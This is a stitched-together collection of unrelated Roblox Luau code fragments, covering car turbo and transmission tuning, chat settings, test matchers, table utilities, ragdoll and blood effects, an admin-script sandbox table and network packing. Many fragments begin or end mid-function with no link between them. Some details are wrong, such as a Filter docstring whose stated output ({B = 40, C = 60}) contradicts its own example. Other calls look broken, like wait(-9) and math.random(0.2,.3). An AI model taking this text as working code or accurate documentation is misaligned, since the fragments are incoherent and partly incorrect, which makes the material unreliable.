--RPM --RPM = 11000 / 100000 = 0.1, RPM = 1000 / 100000 = 0.01 * 4 = 0.04
Values.Values.RPM.Changed:connect(function() Throttle = Values.Values.Throttle.Value CurrentGear = Values.Values.Gear.Value CurrentRPM = Values.Values.RPM.Value if Throttle == 1 then active = true if CPSI < PSI then if Turbos == "Single" then if TurboSize == "Small" then CPSI = CPSI + (CurrentRPM / 75000) * 4 wait(0.1) Values.Values.PSI.Value = CPSI * 8 Values.Values.APSI.Value = CPSI end if TurboSize == "Medium" then CPSI = CPSI + (CurrentRPM / 100000) * 4 wait(0.1) Values.Values.PSI.Value = CPSI * 10 Values.Values.APSI.Value = CPSI end if TurboSize == "Large" then CPSI = CPSI + (CurrentRPM / 125000) * 4 wait(0.1) Values.Values.PSI.Value = CPSI * 12 Values.Values.APSI.Value = CPSI end elseif Turbos == "Twin" then if TurboSize == "Small" then CPSI = CPSI + (CurrentRPM / 75000) * 4 wait(0.05) Values.Values.PSI.Value = CPSI * 8 Values.Values.APSI.Value = CPSI end if TurboSize == "Medium" then CPSI = CPSI + (CurrentRPM / 100000) * 4 wait(0.05) Values.Values.PSI.Value = CPSI * 10 Values.Values.APSI.Value = CPSI end if TurboSize == "Large" then CPSI = CPSI + (CurrentRPM / 125000) * 4 wait(0.05) Values.Values.PSI.Value = CPSI * 12 Values.Values.APSI.Value = CPSI end end end if CurrentRPM > (_Tune.Redline - 500) and TwoStep == true and boom == true then boom = false if car.Body.Exhaust.E1.S.IsPlaying then else local i = math.random(1,4) i = math.ceil(i) while i >= 1 do car.Body.Exhaust.E2.S:Play() car.Body.Exhaust.E1.Afterburn.Enabled = true car.Body.Exhaust.E2.Afterburn.Enabled = true wait(math.random(0.2,.3)) car.Body.Exhaust.E1.Afterburn.Enabled = false car.Body.Exhaust.E2.Afterburn.Enabled = false i= i - 1 end wait(0.5) boom = true end end end if Throttle <= 0.01 and active == true and Valve == "BOV" then active = false CPSI = 0 if TurboSize == "Large" then Values.Values.PSI.Value = CPSI * 12 elseif TurboSize == "Medium" then Values.Values.PSI.Value = CPSI * 10 elseif TurboSize == "Small" then Values.Values.PSI.Value = CPSI * 8 end Values.Values.APSI.Value = CPSI if BOV.IsPlaying then else BOV:Play() end end if Throttle <= 0.01 and Valve == "Bleed" then if CPSI > 0 then CPSI = CPSI - 0.1 wait(0.05) end if TurboSize == "Large" then Values.Values.PSI.Value = CPSI * 12 elseif TurboSize == "Medium" then Values.Values.PSI.Value = CPSI * 10 elseif TurboSize == "Small" then Values.Values.PSI.Value = CPSI * 8 end Values.Values.APSI.Value = CPSI if active == true then if BOV.IsPlaying then else BOV:Play() active = false end end end end ) if boom == false then wait(math.random(1)) boom = true end
---[[ Chat Text Size Settings ]]
module.ChatWindowTextSize = 20 module.ChatChannelsTabTextSize = 20 module.ChatBarTextSize = 20 module.ChatWindowTextSizePhone = 14 module.ChatChannelsTabTextSizePhone = 20 module.ChatBarTextSizePhone = 18
--Services
local ReplicatedStorage: ReplicatedStorage = game:GetService("ReplicatedStorage")
----- Global methods -----
function BezierService.Create(part, duration, points) return Bezier.new(part, duration, points) end return BezierService
--[[ Assert that the expectation value is the given type. expect(5).to.be.a("number") ]]
function Expectation:a(typeName) local result = (type(self.value) == typeName) == self.successCondition local message = formatMessage(self.successCondition, ("Expected value of type %q, got value %q of type %s"):format( typeName, tostring(self.value), type(self.value) ), ("Expected value not of type %q, got value %q of type %s"):format( typeName, tostring(self.value), type(self.value) ) ) assertLevel(result, message, 3) self:_resetModifiers() return self end
--[[Output Scaling Factor]]
local hpScaling = _Tune.WeightScaling*10 local FBrakeForce = _Tune.FBrakeForce local RBrakeForce = _Tune.RBrakeForce local PBrakeForce = _Tune.PBrakeForce if not workspace:PGSIsEnabled() then hpScaling = _Tune.LegacyScaling*10 FBrakeForce = _Tune.FLgcyBForce RBrakeForce = _Tune.RLgcyBForce PBrakeForce = _Tune.LgcyPBForce end
--[=[ Gets an index by value, returning `nil` if no index is found. @param haystack table -- To search in @param needle Value to search for @return The index of the value, if found @return nil -- if not found ]=]
function Table.getIndex(haystack, needle) assert(needle ~= nil, "Needle cannot be nil") for index, item in pairs(haystack) do if needle == item then return index end end return nil end
--local INTERNAL_MATCHER_FLAG = JestMatchersObject.INTERNAL_MATCHER_FLAG
local getMatchers = JestMatchersObject.getMatchers local getState = JestMatchersObject.getState local setMatchers = JestMatchersObject.setMatchers local setState = JestMatchersObject.setState local matchers = require(CurrentModule.matchers) local spyMatchers = require(CurrentModule.spyMatchers) local toThrowMatchers = require(CurrentModule.toThrowMatchers).matchers local Types = require(CurrentModule.types) type AsyncExpectationResult = Types.AsyncExpectationResult type Expect = Types.Expect_ type ExpectationResult = Types.ExpectationResult type JestMatcherState = Types.MatcherState type MatcherInterface<R> = Types.Matchers_<R> type MatchersObject<T> = Types.MatchersObject<T> type PromiseMatcherFn = Types.PromiseMatcherFn type RawMatcherFn = Types.RawMatcherFn_ type SyncExpectationResult = Types.SyncExpectationResult type ThrowingMatcherFn = Types.ThrowingMatcherFn local utils = require(CurrentModule.utils) local iterableEquality = utils.iterableEquality local subsetEquality = utils.subsetEquality
-- Libraries
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger')) local Roact = require(Vendor:WaitForChild('Roact')) local Dropdown = require(UI:WaitForChild('Dropdown')) local Signal = require(Libraries:WaitForChild('Signal'))
--!strict --[=[ @function map @within Array @param array {T} -- The array to map. @param mapper (value: T, index: number, array: {T}) -> U? -- The mapper function. @return {U} -- The mapped array. Maps the array using the mapper function. ```lua local array = { 1, 2, 3 } local new = Map(array, function(value, index) return value * 2 end) -- { 2, 4, 6 } ``` ]=]
local function map<T, U>(array: { T }, mapper: (value: T, index: number, array: { T }) -> U?): { U } local mapped = {} for index, value in ipairs(array) do local mappedValue = mapper(value, index, array) if mappedValue ~= nil then table.insert(mapped, mappedValue) end end return mapped end return map
--[[ if CC == 1 then blood.CanCollide = false elseif CC == 2 then blood.CanCollide = true end ]]
-- IF YOU WANT YOUR BLOOD TO SOMETIME BE CANCOLLIDE TRUE, THEN REMOVE THE --[[ AND ]]-- if script.Parent:FindFirstChild("Torso") ~= nil then blood.Position = script.Parent.Torso.Position blood.Parent = game.Workspace end end human = script.Parent:findFirstChild("Humanoid") health = human.Health while true do if human.Health < health then howmuch = math.random(7,20) health = human.Health for i = 1 , howmuch do MakeBlood() end end wait(0.1) end
--// Setting things up
for ind, loc in pairs({ _G = _G; game = game; spawn = spawn; script = script; getfenv = getfenv; setfenv = setfenv; workspace = workspace; getmetatable = getmetatable; setmetatable = setmetatable; loadstring = loadstring; coroutine = coroutine; rawequal = rawequal; typeof = typeof; print = print; math = math; warn = warn; error = error; assert = assert; pcall = pcall; xpcall = xpcall; select = select; rawset = rawset; rawget = rawget; ipairs = ipairs; pairs = pairs; next = next; Rect = Rect; Axes = Axes; os = os; time = time; Faces = Faces; unpack = unpack; string = string; Color3 = Color3; newproxy = newproxy; tostring = tostring; tonumber = tonumber; Instance = Instance; TweenInfo = TweenInfo; BrickColor = BrickColor; NumberRange = NumberRange; ColorSequence = ColorSequence; NumberSequence = NumberSequence; ColorSequenceKeypoint = ColorSequenceKeypoint; NumberSequenceKeypoint = NumberSequenceKeypoint; PhysicalProperties = PhysicalProperties; Region3int16 = Region3int16; Vector3int16 = Vector3int16; require = require; table = table; type = type; wait = wait; Enum = Enum; UDim = UDim; UDim2 = UDim2; Vector2 = Vector2; Vector3 = Vector3; Region3 = Region3; CFrame = CFrame; Ray = Ray; task = task; service = service }) do locals[ind] = loc end
-- Removes old entries in JustTouched
local function RemoveOldTouches() for player, touchTime in pairs(JustTouched) do if time() > touchTime + 0.3 then JustTouched[player] = nil end end end
--Stoppie tune
local StoppieD = 0.5 local StoppieTq = 66 local StoppieP = 5 local StoppieMultiplier = 0.5 local StoppieDivider = 1 local clock = .0667 --How fast your wheelie script refreshes
-- Remove the fly when it flew too far from the center.
local Fly = script.Parent local Model = script.Parent.Parent local Range = Model.Configuration.FlyRange while true do wait(5) if (Fly.Position - Model.Center.CenterPart.Position).magnitude > Range.Value then Fly.GlowScript.Disabled = true Fly.MoveScript.Disabled = true Fly:destroy() break end end
-- Bookkeeping of all data:
local Data = { GlobalDataStore = {}; DataStore = {}; OrderedDataStore = {}; }
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Sounds = { CoilSound = Handle:WaitForChild("CoilSound"), } Gravity = 500 JumpHeightPercentage = 0.1 ToolEquipped = false function GetAllConnectedParts(Object) local Parts = {} local function GetConnectedParts(Object) for i, v in pairs(Object:GetConnectedParts()) do local Ignore = false for ii, vv in pairs(Parts) do if v == vv then Ignore = true end end if not Ignore then table.insert(Parts, v) GetConnectedParts(v) end end end GetConnectedParts(Object) return Parts end function SetGravityEffect() if not GravityEffect or not GravityEffect.Parent then GravityEffect = Instance.new("BodyForce") GravityEffect.Name = "GravityCoilEffect" GravityEffect.Parent = Torso end local TotalMass = 0 local ConnectedParts = GetAllConnectedParts(Torso) for i, v in pairs(ConnectedParts) do if v:IsA("BasePart") then TotalMass = (TotalMass + v:GetMass()) end end local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage)) GravityEffect.force = Vector3.new(0, TotalMass, 0) end function HandleGravityEffect(Enabled) if not CheckIfAlive() then return end for i, v in pairs(Torso:GetChildren()) do if v:IsA("BodyForce") then v:Destroy() end end for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do if v then v:disconnect() end end if Enabled then CurrentlyEquipped = true ToolUnequipped = Tool.Unequipped:connect(function() CurrentlyEquipped = false end) SetGravityEffect() DescendantAdded = Character.DescendantAdded:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) DescendantRemoving = Character.DescendantRemoving:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end if HumanoidDied then HumanoidDied:disconnect() end HumanoidDied = Humanoid.Died:connect(function() if GravityEffect and GravityEffect.Parent then GravityEffect:Destroy() end end) Sounds.CoilSound:Play() HandleGravityEffect(true) ToolEquipped = true end function Unequipped() if HumanoidDied then HumanoidDied:disconnect() end HandleGravityEffect(false) ToolEquipped = false end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
-- @outline // PUBLIC PROPERTIES
Camera.Position = Vector3.new(0, 0, 0) Camera.AutoUpdate = true Camera.Enabled = true Camera.Rotation = Vector2.new()
--[[** ensures Roblox Font type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Font = t.typeof("Font")
--tone hz
elseif sv.Value==6 then while s.Pitch<1.1 do s.Pitch=s.Pitch+0.012 s:Play() if s.Pitch>1.1 then s.Pitch=1.1 end wait(-9) end while true do for x = 1, 500 do s:play() wait(-9) end wait() end
-- if input.KeyCode == Enum.KeyCode.One then -- -- print(1,c) -- c = Start(1) -- end
--theRal
worker = false part = script.Parent function onTouch(hit) local human = hit.Parent:FindFirstChild("Humanoid") if (human ~= nil) and (worker == false) then print ("Success") worker = true wait(.1) local pant = hit.Parent:GetChildren() for i=1,#pant do if (pant[i].className == "Pants") then pant[i].PantsTemplate = "" end end local shirt = hit.Parent:GetChildren() for i=1,#shirt do if (shirt[i].className == "Shirt") then shirt[i].ShirtTemplate = "" wait(1) worker = false end end end end script.Parent.Touched:connect(onTouch)
--//////// DO NOT EDIT BELOW UNLESS YOU KNOW WHAT YOU'RE DOING \\\\\\\\\\\\\\\\\\\\\\\\\
local uis = game:GetService("UserInputService") local runservice = game:GetService("RunService") local tweenservice = game:GetService("TweenService") local player = game.Players.LocalPlayer local mouse = player:GetMouse() local camera = workspace.CurrentCamera repeat runservice.Heartbeat:Wait() until script.Parent:IsA("Model") -- yield until character local character = player.Character local rootpart = character:WaitForChild("HumanoidRootPart") local humanoid = character:WaitForChild("Humanoid") local aimoffset = script:WaitForChild("AimOffset") -- a property for other scripts to use to influence the viewmodel offset (such as a gun aim system) local torso local roothip local lowertorso local oldc0 local leftshoulder local rightshoulder local larm local rarm local armparts = {} local rigtype = nil local isrunning = false local armsvisible = true -- whether the arms are visible in first person local armtransparency = firstperson_arm_transparency local isfirstperson = false local sway = Vector3.new(0,0,0) local walksway = CFrame.new(0,0,0) local strafesway = CFrame.Angles(0,0,0) local jumpsway = CFrame.new(0,0,0) local jumpswaygoal = Instance.new("CFrameValue")
--// # key, Takedown
mouse.KeyDown:connect(function(key) if key=="k" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.Remotes.TakedownEvent:FireServer(true) end end)
-- carSeat.DLock:Play() -- carSeat.Seatlock.Value = lock -- carSeat.Parent.Body.GS.A.SingleMode.Value = lock -- carSeat.Parent.Body.GS.B.SingleMode.Value = lock -- carSeat.Parent.Body.GS.C.SingleMode.Value = lock -- carSeat.Parent.Body.GS.D.SingleMode.Value = lock -- carSeat.Parent.Body.GS.E.SingleMode.Value = lock -- carSeat.Parent.Misc.L.Door.H.ClickDetector.MaxActivationDistance = dr -- carSeat.Parent.Misc.R.Door.H.ClickDetector.MaxActivationDistance = dr -- carSeat.Parent.Misc.L.Door.SS.Motor.DesiredAngle = 0 -- carSeat.Parent.Misc.R.Door.SS.Motor.DesiredAngle = 0
end F.setdist = function(v) carSeat.Parent.Body.MP.Sound.MaxDistance = v if v < 75 then carSeat.Parent.Body.MP.Sound.RollOffMode = "LinearSquare" else carSeat.Parent.Body.MP.Sound.RollOffMode = "Inverse" end end F.volumeup = function(VolUp) carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1
--[[ Value packing extension ]]
-- do local SendingCache = setmetatable({}, { __index = function(t, i) t[i] = {} return t[i] end, __mode = "k" }) local ReceivingCache = setmetatable({}, { __index = function(t, i) t[i] = {} return t[i] end, __mode = "k" }) local MaxStringLength = 64 local CacheSize = 32 -- must be under 256, keeping it low because adding a new entry goes through the entire cache local ValidTypes = { "number", "string", "boolean", "nil", "Vector2", "Vector3", "CFrame", "Color3", "BrickColor", "UDim2", "UDim" } for i,v in ipairs(ValidTypes) do ValidTypes[v] = true end local function addEntry(value, client) local valueType = typeof(value) if not ValidTypes[valueType] then error(string.format("Invalid value passed to Network:Pack (values of type %s are not supported)", valueType)) end if valueType == "boolean" or valueType == "nil" or value == "" then return value -- already one-byte elseif valueType == "string" and #value > MaxStringLength then return "\0" .. value end local cache = SendingCache[client] local info = cache[value] if not info then if #cache < CacheSize then local index = #cache + 1 info = { char = string.char(index), value = value, last = 0 } cache[index] = info cache[value] = info else for i,other in ipairs(cache) do if not info or other.last < info.last then info = other end end cache[info.value] = nil cache[value] = info info.value = value end if IsServer then Network:FireClient(client, "SetPackedValue", info.char, info.value) else Network:FireServer("SetPackedValue", info.char, info.value) end end info.last = os.clock() return info.char end local function getEntry(value, client) local valueType = typeof(value) if valueType ~= "string" or value == "" then return value end local index = string.byte(value, 1) if index == 0 then return string.sub(value, 2) end return ReceivingCache[client][index] end if IsServer then function Network:Pack(value, client) assert(typeof(client) == "Instance" and client:IsA("Player"), "client is not a player") return addEntry(value, client) end function Network:Unpack(value, client) assert(typeof(client) == "Instance" and client:IsA("Player"), "client is not a player") return getEntry(value, client) end Network:BindEvents({ SetPackedValue = function(client, char, value) if typeof(char) ~= "string" or #char ~= 1 then return client:Kick() end local index = string.byte(char) if index < 1 or index > CacheSize then return client:Kick() end local valueType = typeof(value) if not ValidTypes[valueType] or valueType == "string" and #value > MaxStringLength then return client:Kick() end ReceivingCache[client][index] = value end }) else function Network:Pack(value) return addEntry(value, "Server") end function Network:Unpack(value) return getEntry(value, "Server") end Network:BindEvents({ SetPackedValue = function(char, value) ReceivingCache.Server[string.byte(char)] = value end }) end end
-- Module Scripts
local ModuleScripts = ServerScriptService:FindFirstChild("ModuleScripts") local RaceModules = ModuleScripts:FindFirstChild("RaceModules") local ReplicatedModuleScripts = ReplicatedStorage:FindFirstChild("ModuleScripts") local PlayerManager = require(RaceModules:FindFirstChild("PlayerManager")) local GameSettings = require(RaceModules:FindFirstChild("GameSettings")) local DisplayManager = require(RaceModules:FindFirstChild("DisplayManager")) local LeaderboardManager = require(RaceModules:FindFirstChild("LeaderboardManager")) local Timer = require(RaceModules:FindFirstChild("Timer")) local RaceManager = require(ReplicatedModuleScripts:FindFirstChild("RaceManager"))
--Script
feedbackMain.CharactersLeft.Text = maxCharacters - #feedbackMain.InputBox.Input.Text feedbackMain.InputBox.Input.Changed:Connect(function() feedbackMain.CharactersLeft.Text = maxCharacters - #feedbackMain.InputBox.Input.Text if maxCharacters - #feedbackMain.InputBox.Input.Text < 0 then else end end) local db = false feedbackMain.SendButton.MouseButton1Click:Connect(function() if not db and maxCharacters - #feedbackMain.InputBox.Input.Text >= 0 then db = true local msg = feedbackMain.InputBox.Input.Text feedbackMain.InputBox.Input.Text = "Wait a moment..." local response = game.ReplicatedStorage.FilteringFunction:InvokeServer(msg) feedbackMain.InputBox.Input.Text = response wait(5) if feedbackMain.InputBox.Input.Text == response then feedbackMain.InputBox.Input.Text = "Type here." end db = false end end) script.Parent.Button.MouseButton1Click:Connect(function() open = not open if open then feedbackMain.Visible = true else feedbackMain.Visible = false end end)
----Maxoso41----
local function CanCollide(char) for i,v in next, char:GetChildren() do if v:IsA("BasePart") then v.CanCollide = true end if v.Name == "HumanoidRootPart" then v.CanCollide = false game:GetService("RunService").Heartbeat:connect(function() if char:FindFirstChild("UpperTorso") then v.CFrame = char:FindFirstChild("UpperTorso").CFrame end end) end end end local function MakeConstraints(char) pcall(function() local LeftFoot = char:FindFirstChild("LeftFoot") local RightFoot = char:FindFirstChild("RightFoot") local LeftLowerLeg = char:FindFirstChild("LeftLowerLeg") local RightLowerLeg = char:FindFirstChild("RightLowerLeg") local LeftUpperLeg = char:FindFirstChild("LeftUpperLeg") local RightUpperLeg = char:FindFirstChild("RightUpperLeg") local LowerTorso = char:FindFirstChild("LowerTorso") local UpperTorso = char:FindFirstChild("UpperTorso") local LeftHand = char:FindFirstChild("LeftHand") local RightHand = char:FindFirstChild("RightHand") local LeftLowerArm = char:FindFirstChild("LeftLowerArm") local RightLowerArm = char:FindFirstChild("RightLowerArm") local LeftUpperArm = char:FindFirstChild("LeftUpperArm") local RightUpperArm = char:FindFirstChild("RightUpperArm") local Head = char:FindFirstChild("Head") local S1 = Instance.new("SpringConstraint",LeftFoot) S1.Damping = 0 S1.FreeLength = 0.15 S1.Stiffness = 1500 S1.Attachment0 = LeftFoot:FindFirstChild("LeftAnkleRigAttachment") S1.Attachment1 = LeftLowerLeg:FindFirstChild("LeftAnkleRigAttachment") local S2 = Instance.new("SpringConstraint",RightFoot) S2.Damping = 0 S2.FreeLength = 0.15 S2.Stiffness = 1500 S2.Attachment0 = RightFoot:FindFirstChild("RightAnkleRigAttachment") S2.Attachment1 = RightLowerLeg:FindFirstChild("RightAnkleRigAttachment") local H1 = Instance.new("HingeConstraint",LeftLowerLeg) H1.Attachment0 = LeftLowerLeg:FindFirstChild("LeftKneeRigAttachment") H1.Attachment1 = LeftUpperLeg:FindFirstChild("LeftKneeRigAttachment") local H2 = Instance.new("HingeConstraint",RightLowerLeg) H2.Attachment0 = RightLowerLeg:FindFirstChild("RightKneeRigAttachment") H2.Attachment1 = RightUpperLeg:FindFirstChild("RightKneeRigAttachment") local B1 = Instance.new("BallSocketConstraint",LeftUpperLeg) B1.Attachment0 = LeftUpperLeg:FindFirstChild("LeftHipRigAttachment") B1.Attachment1 = LowerTorso:FindFirstChild("LeftHipRigAttachment") local B2 = Instance.new("BallSocketConstraint",RightUpperLeg) B2.Attachment0 = RightUpperLeg:FindFirstChild("RightHipRigAttachment") B2.Attachment1 = LowerTorso:FindFirstChild("RightHipRigAttachment") local H3 = Instance.new("HingeConstraint",LowerTorso) H3.Attachment0 = LowerTorso:FindFirstChild("WaistRigAttachment") H3.Attachment1 = UpperTorso:FindFirstChild("WaistRigAttachment") local B3 = Instance.new("BallSocketConstraint",LeftUpperArm) B3.Attachment0 = LeftUpperArm:FindFirstChild("LeftShoulderRigAttachment") B3.Attachment1 = UpperTorso:FindFirstChild("LeftShoulderRigAttachment") local B4 = Instance.new("BallSocketConstraint",RightUpperArm) B4.Attachment0 = RightUpperArm:FindFirstChild("RightShoulderRigAttachment") B4.Attachment1 = UpperTorso:FindFirstChild("RightShoulderRigAttachment") local H3 = Instance.new("HingeConstraint",LeftLowerArm) H3.Attachment0 = LeftLowerArm:FindFirstChild("LeftElbowRigAttachment") H3.Attachment1 = LeftUpperArm:FindFirstChild("LeftElbowRigAttachment") local H4 = Instance.new("HingeConstraint",RightLowerArm) H4.Attachment0 = RightLowerArm:FindFirstChild("RightElbowRigAttachment") H4.Attachment1 = RightUpperArm:FindFirstChild("RightElbowRigAttachment") local S3 = Instance.new("SpringConstraint",LeftHand) S3.Damping = 0 S3.FreeLength = 0.15 S3.Stiffness = 1500 S3.Attachment0 = LeftHand:FindFirstChild("LeftWristRigAttachment") S3.Attachment1 = LeftLowerArm:FindFirstChild("LeftWristRigAttachment") local S4 = Instance.new("SpringConstraint",RightHand) S4.Damping = 0 S4.FreeLength = 0.15 S4.Stiffness = 1500 S4.Attachment0 = RightHand:FindFirstChild("RightWristRigAttachment") S4.Attachment1 = RightLowerArm:FindFirstChild("RightWristRigAttachment") local S5 = Instance.new("SpringConstraint",Head) S5.Damping = 10 S5.FreeLength = 0.1 S5.Stiffness = 1200 S5.Attachment0 = Head:FindFirstChild("NeckRigAttachment") S5.Attachment1 = UpperTorso:FindFirstChild("NeckRigAttachment") end) end char = script.Parent script.Parent.Humanoid.Died:connect(function() CanCollide(char) MakeConstraints(char) end)
--[[ @brief Proportionally modifies all numbers in an array so the sum is 1. @example Normalize({1, 2, 3}) = {1/6, 2/6, 3/6}; @param t The array to normalize. @return t The normalized array. This will be the same as t. --]]
function module.Normalize(t) local sum = module.Sum(t); if sum~=0 then for i, v in pairs(t) do t[i] = v/sum; end end return t; end
--// initialize opening/closing spectate //--
script.Parent.Parent.SpectateButton.Spectate.MouseButton1Down:connect(function(click) if script.Parent.GuiActive.Value == false then script.Parent.GuiActive.Value = true script.Parent.Parent.ChangePlayer.Visible = true elseif script.Parent.GuiActive.Value == true then resetGui() end end)
-- ROBLOX Comment: nil value placeholder
local NIL = newproxy(true) local mt = getmetatable(NIL) mt.__tostring = function() return "nil" end return NIL
--[=[ @within TableUtil @function Filter @param tbl table @param predicate (value: any, key: any, tbl: table) -> keep: boolean @return table Performs a filter operation against the given table, which can be used to filter out unwanted values from the table. For example: ```lua local t = {A = 10, B = 20, C = 30} local t2 = TableUtil.Filter(t, function(value, key) return value > 15 end) print(t2) --> {B = 40, C = 60} ``` ]=]
local function Filter<T>(t: { T }, predicate: (T, any, { T }) -> boolean): { T } assert(type(t) == "table", "First argument must be a table") assert(type(predicate) == "function", "Second argument must be a function") local newT = table.create(#t) if #t > 0 then local n = 0 for i, v in t do if predicate(v, i, t) then n += 1 newT[n] = v end end else for k, v in t do if predicate(v, k, t) then newT[k] = v end end end return newT end
-- Initialize the tool
local CollisionTool = { Name = 'Collision Tool'; Color = BrickColor.new 'Really black'; } CollisionTool.ManualText = [[<font face="GothamBlack" size="16">Collision Tool 🛠</font> Lets you change whether parts collide with one another.<font size="6"><br /></font> <b>TIP:</b> Press <b>Enter</b> to toggle collision quickly.]]
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 4.5 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[ Sets the current index of the surface art. ]]
modules.setCurrentIndex = function(self) return function(index, offset) if self.isAnimating then return end -- Can't figure out the right way to do this - we can only calculate how much to move -- the frame using the images rendered within this frame, not the entire rendered indexes Frame local target = constants.SurfaceArtSelectorItemSize * offset self.updateTarget(target) self.targetIndex = self.formatTargetIndex(index, offset) task.spawn(function() self:setState({ offset = math.abs(offset) }) self.isAnimating = true self.motor:setGoal(Otter.spring(target, { frequency = 3 })) task.wait(0.5) self.isAnimating = false self:setState({ selectedIndex = index, offset = 0 }) self.motor:setGoal(Otter.instant(0)) end) end end
--SKP_10:Create(SKP_23,TweenInfo.new(2.5 * Hurt,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0),{TintColor = Color3.new(1,1,1)}):Play()
SKP_11:AddItem(SKP_22, 3 * Hurt) SKP_11:AddItem(SKP_23, 2.5 * Hurt) end SKP_20 = SKP_7.Health end) local SKP_24 = false SKP_15.Variaveis.Dor.Changed:Connect(function(Valor) end) SKP_17.Changed:Connect(function(Valor) if Valor >= SKP_17.MaxValue/2 then SKP_12.Saturation = ((Valor*2)/SKP_17.MaxValue) - 2 elseif Valor < SKP_17.MaxValue/2 then SKP_12.Saturation = -1 elseif Valor <= 0 then SKP_12.Saturation = -1 end end) SKP_15.Variaveis.HitCount.Changed:Connect(function(Valor) if Valor >= 3 then SKP_4.Render:FireServer(true,"N/A") end end) SKP_16.Changed:Connect(function(Valor) if Valor == true then SKP_13.Brightness = -10 else SKP_13.Brightness = 0 end end) SKP_rodeath.Changed:Connect(function(Valor) if Valor == true then SKP_13.Brightness = -10 else SKP_13.Brightness = 0 end end) if SKP_7.health <= 0.1 then Morto = true SKP_7.AutoRotate = false SKP_13.TintColor = Color3.new(1,1,1)
-- Class
local SliderClass = {} SliderClass.__index = SliderClass SliderClass.__type = "Slider" function SliderClass:__tostring() return SliderClass.__type end
-- Read the comments below to set your admin commands to your liking --
local Banned = {"Put Name Here"} --Put the person you want to bans name here, or use the command ";ban [Player]"
--sound.ScriptWestMinsterChimes.Disabled=true
sound.ScriptOff.Disabled=false sound2.ScriptOff.Disabled=false wait(4) end wait() end